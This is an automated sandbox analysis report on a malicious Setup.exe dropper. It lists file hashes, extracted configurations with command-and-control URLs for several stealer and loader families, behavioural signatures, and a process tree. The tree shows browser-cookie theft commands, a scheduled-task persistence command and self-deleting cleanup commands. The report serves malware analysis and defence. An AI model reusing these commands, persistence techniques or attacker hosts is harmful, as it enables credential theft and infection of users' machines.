Overview

overview

10

Static

static

Setup.exe

windows7_x64

10

Setup.exe

windows10_x64

10

rkill.exe

windows7_x64

10

rkill.exe

windows10_x64

8

Analysis

  • max time kernel
    1530s
  • max time network
    1801s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    11-08-2021 06:01

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Setup.exe

  • Size

    1.6MB

  • MD5

    ce6eaa52767b2df78b34519231966588

  • SHA1

    ab32d09951189022a1a39e9204ec9ce2926b3fcf

  • SHA256

    40924781ba072ea88bd7cad3f6d2a48e87f370e1c1ee334a3415dd26b5ea17e5

  • SHA512

    36a09fe704823d6db5d0982d761ba1976c940b82b7c1ca650627d66e16b420612b78c761f2ed00e533453eeb2dd7e431cf47b0c2cf826354aa6e779fda531067

Score
10/10
gluptebametasploitraccoonredlinesmokeloadervidar937c8a4bc819c641415a3c45622368953a684036cdbbackdoordiscoverydropperevasioninfostealerloaderpersistencespywarestealersuricatathemidatrojanupxvmprotect

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.241.19.52/Api/GetFile2

Extracted

Family

vidar

Version

40

Botnet

937

C2

https://lenak513.tumblr.com/

Attributes
  • profile_id

    937

Extracted

Family

metasploit

Version

windows/single_exec

Extracted

Family

smokeloader

Version

2020

C2

http://aucmoney.com/upload/

http://thegymmum.com/upload/

http://atvcampingtrips.com/upload/

http://kuapakualaman.com/upload/

http://renatazarazua.com/upload/

http://nasufmutlu.com/upload/
rc4.i32
rc4.i32

Extracted

Family

raccoon

Botnet

c8a4bc819c641415a3c45622368953a684036cdb

Attributes
  • url4cnc

    https://telete.in/jjbadb0y

rc4.plain
rc4.plain

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba Payload 2 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

    trojanbackdoormetasploit
  • Modifies Windows Defender Real-time Protection settings 3 TTPs
    evasiontrojan
  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

    stealerraccoon
  • Raccoon Stealer Payload 1 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 3 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • suricata: ET MALWARE GCleaner Downloader Activity M1

    suricata: ET MALWARE GCleaner Downloader Activity M1

    suricata
  • suricata: ET MALWARE Generic Password Stealer User Agent Detected (RookIE)

    suricata: ET MALWARE Generic Password Stealer User Agent Detected (RookIE)

    suricata
  • suricata: ET MALWARE Observed Elysium Stealer Variant CnC Domain (all-brain-company .xyz in TLS SNI)

    suricata: ET MALWARE Observed Elysium Stealer Variant CnC Domain (all-brain-company .xyz in TLS SNI)

    suricata
  • suricata: ET MALWARE Possible Dridex Download URI Struct with no referer

    suricata: ET MALWARE Possible Dridex Download URI Struct with no referer

    suricata
  • suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request

    suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request

    suricata
  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata
  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

    evasion
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
    evasion
  • Nirsoft 4 IoCs
  • Vidar Stealer 2 IoCs
    stealer
  • Blocklisted process makes network request 54 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 2 IoCs
  • Executes dropped EXE 64 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • VMProtect packed file 3 IoCs

    Detects executables packed with VMProtect commercial packer.

    vmprotect
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 4 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 3 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Accesses 2FA software files, possible credential harvesting 2 TTPs
    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 7 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    evasiontrojan
  • Enumerates connected drives 3 TTPs 64 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 10 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 12 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 43 IoCs
  • Drops file in Windows directory 48 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 11 IoCs
  • Checks SCSI registry key(s) 3 TTPs 9 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 9 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Delays execution with timeout.exe 3 IoCs
    evasion
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Kills process with taskkill 6 IoCs
    evasion
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 51 IoCs
  • Modifies system certificate store 2 TTPs 10 IoCs
    evasionspywaretrojan
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 10 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 30 IoCs
  • Suspicious use of SendNotifyMessage 8 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s Themes
    1⤵
      PID:1228
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
      1⤵
        PID:2700
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s WpnService
        1⤵
          PID:2716
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s Browser
          1⤵
            PID:2604
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
            1⤵
              PID:2388
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
              1⤵
                PID:2368
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
                1⤵
                  PID:1836
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s SENS
                  1⤵
                    PID:1380
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                    1⤵
                    • Modifies registry class
                    PID:1296
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                    1⤵
                      PID:1092
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                      1⤵
                      • Drops file in System32 directory
                      PID:1044
                      • C:\Users\Admin\AppData\Roaming\Microsoft\Network\sqlcmd.exe
                        C:\Users\Admin\AppData\Roaming\Microsoft\Network\sqlcmd.exe
                        2⤵
                          PID:6960
                          • C:\Windows\SysWOW64\schtasks.exe
                            /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\sqlcmd.exe"
                            3⤵
                            • Creates scheduled task(s)
                            PID:6244
                        • C:\Users\Admin\AppData\Roaming\siavehh
                          C:\Users\Admin\AppData\Roaming\siavehh
                          2⤵
                          • Checks SCSI registry key(s)
                          • Suspicious behavior: MapViewOfSection
                          PID:7164
                        • C:\Users\Admin\AppData\Roaming\siavehh
                          C:\Users\Admin\AppData\Roaming\siavehh
                          2⤵
                          • Checks SCSI registry key(s)
                          • Suspicious behavior: MapViewOfSection
                          PID:6992
                        • C:\Users\Admin\AppData\Roaming\siavehh
                          C:\Users\Admin\AppData\Roaming\siavehh
                          2⤵
                            PID:1272
                        • c:\windows\system32\svchost.exe
                          c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                          1⤵
                            PID:60
                          • C:\Users\Admin\AppData\Local\Temp\Setup.exe
                            "C:\Users\Admin\AppData\Local\Temp\Setup.exe"
                            1⤵
                            • Checks computer location settings
                            • Modifies system certificate store
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of WriteProcessMemory
                            PID:516
                            • C:\Users\Admin\Documents\AzmudZ6SFSbbrw4m0bxEN4TC.exe
                              "C:\Users\Admin\Documents\AzmudZ6SFSbbrw4m0bxEN4TC.exe"
                              2⤵
                              • Executes dropped EXE
                              • Suspicious use of WriteProcessMemory
                              PID:1580
                              • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                3⤵
                                • Executes dropped EXE
                                PID:4680
                              • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                3⤵
                                • Executes dropped EXE
                                PID:3472
                              • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                3⤵
                                  PID:4984
                                • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                  C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                  3⤵
                                  • Executes dropped EXE
                                  PID:4844
                                • C:\Windows\system32\WerFault.exe
                                  C:\Windows\system32\WerFault.exe -u -p 1580 -s 1536
                                  3⤵
                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                  • Program crash
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:4520
                              • C:\Users\Admin\Documents\ZCzsPCNXnp2iFefUZ5GgKe6_.exe
                                "C:\Users\Admin\Documents\ZCzsPCNXnp2iFefUZ5GgKe6_.exe"
                                2⤵
                                • Executes dropped EXE
                                • Suspicious use of AdjustPrivilegeToken
                                PID:3368
                                • C:\Users\Admin\AppData\Local\Temp\tmp4F3A_tmp.exe
                                  "C:\Users\Admin\AppData\Local\Temp\tmp4F3A_tmp.exe"
                                  3⤵
                                  • Executes dropped EXE
                                  PID:1624
                                  • C:\Windows\SysWOW64\dllhost.exe
                                    "C:\Windows\System32\dllhost.exe"
                                    4⤵
                                    • Executes dropped EXE
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:4984
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c cmd < Ogni.cab
                                    4⤵
                                      PID:4352
                                      • C:\Windows\SysWOW64\cmd.exe
                                        cmd
                                        5⤵
                                          PID:3840
                                          • C:\Windows\SysWOW64\findstr.exe
                                            findstr /V /R "^kFkkCweteokIGxUGjOtmnesFfoGwECEIbjuYaFuyaLppmuaDjBQwmHGogFWzxwmADClxhWhHHYuNSiuoQrPrLC$" Mette.cab
                                            6⤵
                                              PID:6076
                                            • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sapete.exe.com
                                              Sapete.exe.com L
                                              6⤵
                                              • Executes dropped EXE
                                              • Suspicious use of FindShellTrayWindow
                                              • Suspicious use of SendNotifyMessage
                                              PID:4408
                                              • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sapete.exe.com
                                                C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sapete.exe.com L
                                                7⤵
                                                • Executes dropped EXE
                                                • Drops startup file
                                                • Suspicious use of FindShellTrayWindow
                                                • Suspicious use of SendNotifyMessage
                                                PID:4240
                                            • C:\Windows\SysWOW64\PING.EXE
                                              ping localhost -n 30
                                              6⤵
                                              • Runs ping.exe
                                              PID:5092
                                    • C:\Users\Admin\Documents\TkgFaFofuAPRA06DHIkDYK9q.exe
                                      "C:\Users\Admin\Documents\TkgFaFofuAPRA06DHIkDYK9q.exe"
                                      2⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      • Checks processor information in registry
                                      PID:4084
                                      • C:\Windows\SysWOW64\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c taskkill /im TkgFaFofuAPRA06DHIkDYK9q.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\TkgFaFofuAPRA06DHIkDYK9q.exe" & del C:\ProgramData\*.dll & exit
                                        3⤵
                                          PID:5288
                                          • C:\Windows\SysWOW64\taskkill.exe
                                            taskkill /im TkgFaFofuAPRA06DHIkDYK9q.exe /f
                                            4⤵
                                            • Kills process with taskkill
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:5908
                                          • C:\Windows\SysWOW64\timeout.exe
                                            timeout /t 6
                                            4⤵
                                            • Delays execution with timeout.exe
                                            PID:2340
                                      • C:\Users\Admin\Documents\UzePdg8dQq0bonZyFkX7CF2b.exe
                                        "C:\Users\Admin\Documents\UzePdg8dQq0bonZyFkX7CF2b.exe"
                                        2⤵
                                        • Executes dropped EXE
                                        PID:2112
                                        • C:\Users\Admin\Documents\UzePdg8dQq0bonZyFkX7CF2b.exe
                                          "C:\Users\Admin\Documents\UzePdg8dQq0bonZyFkX7CF2b.exe"
                                          3⤵
                                            PID:6368
                                          • C:\Users\Admin\Documents\UzePdg8dQq0bonZyFkX7CF2b.exe
                                            "C:\Users\Admin\Documents\UzePdg8dQq0bonZyFkX7CF2b.exe"
                                            3⤵
                                            • Drops file in Drivers directory
                                            • Executes dropped EXE
                                            • Drops file in Program Files directory
                                            PID:6168
                                            • C:\Program Files\Mozilla Firefox\firefox.exe
                                              "C:\Program Files\Mozilla Firefox\firefox.exe"
                                              4⤵
                                                PID:5612
                                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                                  "C:\Program Files\Mozilla Firefox\firefox.exe"
                                                  5⤵
                                                  • Checks processor information in registry
                                                  • Modifies registry class
                                                  • Suspicious use of FindShellTrayWindow
                                                  • Suspicious use of SendNotifyMessage
                                                  • Suspicious use of SetWindowsHookEx
                                                  PID:516
                                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="516.0.1161716895\2116573594" -parentBuildID 20200403170909 -prefsHandle 1464 -prefMapHandle 1500 -prefsLen 1 -prefMapSize 219680 -appdir "C:\Program Files\Mozilla Firefox\browser" - 516 "\\.\pipe\gecko-crash-server-pipe.516" 1612 gpu
                                                    6⤵
                                                      PID:4184
                                                    • C:\Program Files\Mozilla Firefox\firefox.exe
                                                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="516.3.648164300\1217877063" -childID 1 -isForBrowser -prefsHandle 6176 -prefMapHandle 6172 -prefsLen 733 -prefMapSize 219680 -parentBuildID 20200403170909 -appdir "C:\Program Files\Mozilla Firefox\browser" - 516 "\\.\pipe\gecko-crash-server-pipe.516" 6188 tab
                                                      6⤵
                                                        PID:2080
                                                      • C:\Program Files\Mozilla Firefox\firefox.exe
                                                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="516.13.897885575\1477502157" -childID 2 -isForBrowser -prefsHandle 4532 -prefMapHandle 5740 -prefsLen 1610 -prefMapSize 219680 -parentBuildID 20200403170909 -appdir "C:\Program Files\Mozilla Firefox\browser" - 516 "\\.\pipe\gecko-crash-server-pipe.516" 5868 tab
                                                        6⤵
                                                          PID:1460
                                                        • C:\Program Files\Mozilla Firefox\firefox.exe
                                                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="516.20.1866798980\1078742256" -childID 3 -isForBrowser -prefsHandle 3548 -prefMapHandle 2004 -prefsLen 7827 -prefMapSize 219680 -parentBuildID 20200403170909 -appdir "C:\Program Files\Mozilla Firefox\browser" - 516 "\\.\pipe\gecko-crash-server-pipe.516" 5252 tab
                                                          6⤵
                                                            PID:5348
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                        4⤵
                                                        • Enumerates system info in registry
                                                        • Suspicious use of FindShellTrayWindow
                                                        PID:6760
                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7ff829724f50,0x7ff829724f60,0x7ff829724f70
                                                          5⤵
                                                            PID:1116
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1520,10209075831558840044,13912286671961594347,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1532 /prefetch:2
                                                            5⤵
                                                              PID:6068
                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1520,10209075831558840044,13912286671961594347,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2040 /prefetch:8
                                                              5⤵
                                                                PID:5328
                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1520,10209075831558840044,13912286671961594347,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1772 /prefetch:8
                                                                5⤵
                                                                  PID:6836
                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1520,10209075831558840044,13912286671961594347,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2636 /prefetch:1
                                                                  5⤵
                                                                    PID:6392
                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1520,10209075831558840044,13912286671961594347,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2664 /prefetch:1
                                                                    5⤵
                                                                      PID:5988
                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1520,10209075831558840044,13912286671961594347,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3368 /prefetch:1
                                                                      5⤵
                                                                        PID:1376
                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1520,10209075831558840044,13912286671961594347,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3572 /prefetch:1
                                                                        5⤵
                                                                          PID:4236
                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1520,10209075831558840044,13912286671961594347,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3760 /prefetch:1
                                                                          5⤵
                                                                            PID:5272
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1520,10209075831558840044,13912286671961594347,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3948 /prefetch:1
                                                                            5⤵
                                                                              PID:6320
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1520,10209075831558840044,13912286671961594347,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5984 /prefetch:8
                                                                              5⤵
                                                                                PID:4120
                                                                              • C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe
                                                                                "C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --channel --force-configure-user-settings
                                                                                5⤵
                                                                                  PID:5268
                                                                                  • C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe
                                                                                    "C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x240,0x244,0x248,0x21c,0x24c,0x7ff626dea890,0x7ff626dea8a0,0x7ff626dea8b0
                                                                                    6⤵
                                                                                      PID:6688
                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1520,10209075831558840044,13912286671961594347,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4248 /prefetch:8
                                                                                    5⤵
                                                                                      PID:2668
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1520,10209075831558840044,13912286671961594347,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6016 /prefetch:8
                                                                                      5⤵
                                                                                        PID:3124
                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1520,10209075831558840044,13912286671961594347,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1836 /prefetch:8
                                                                                        5⤵
                                                                                          PID:6936
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1520,10209075831558840044,13912286671961594347,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1572 /prefetch:2
                                                                                          5⤵
                                                                                            PID:5276
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          "cmd.exe" /C taskkill /F /PID 6168 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\UzePdg8dQq0bonZyFkX7CF2b.exe"
                                                                                          4⤵
                                                                                            PID:5492
                                                                                            • C:\Windows\SysWOW64\taskkill.exe
                                                                                              taskkill /F /PID 6168
                                                                                              5⤵
                                                                                              • Executes dropped EXE
                                                                                              • Kills process with taskkill
                                                                                              PID:5804
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            "cmd.exe" /C taskkill /F /PID 6168 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\UzePdg8dQq0bonZyFkX7CF2b.exe"
                                                                                            4⤵
                                                                                              PID:1148
                                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                                taskkill /F /PID 6168
                                                                                                5⤵
                                                                                                • Kills process with taskkill
                                                                                                PID:6624
                                                                                        • C:\Users\Admin\Documents\Ai79vNakmMWdspSr2volOZ_D.exe
                                                                                          "C:\Users\Admin\Documents\Ai79vNakmMWdspSr2volOZ_D.exe"
                                                                                          2⤵
                                                                                          • Executes dropped EXE
                                                                                          • Drops file in Program Files directory
                                                                                          • Suspicious use of WriteProcessMemory
                                                                                          PID:708
                                                                                          • C:\Program Files (x86)\Company\NewProduct\customer3.exe
                                                                                            "C:\Program Files (x86)\Company\NewProduct\customer3.exe"
                                                                                            3⤵
                                                                                            • Executes dropped EXE
                                                                                            • Drops startup file
                                                                                            PID:4256
                                                                                            • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                              C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                              4⤵
                                                                                              • Executes dropped EXE
                                                                                              PID:3900
                                                                                            • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                              C:\Users\Admin\AppData\Local\Temp\11111.exe /DeleteCookiesWildcard "*.facebook.com"
                                                                                              4⤵
                                                                                              • Executes dropped EXE
                                                                                              PID:1176
                                                                                            • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                              C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                              4⤵
                                                                                              • Executes dropped EXE
                                                                                              PID:4164
                                                                                            • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                              C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /DeleteCookiesWildcard "*.facebook.com"
                                                                                              4⤵
                                                                                              • Executes dropped EXE
                                                                                              PID:4104
                                                                                            • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                                                              C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                              4⤵
                                                                                              • Executes dropped EXE
                                                                                              PID:5696
                                                                                            • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                                                              C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /DeleteCookiesWildcard "*.facebook.com"
                                                                                              4⤵
                                                                                                PID:5804
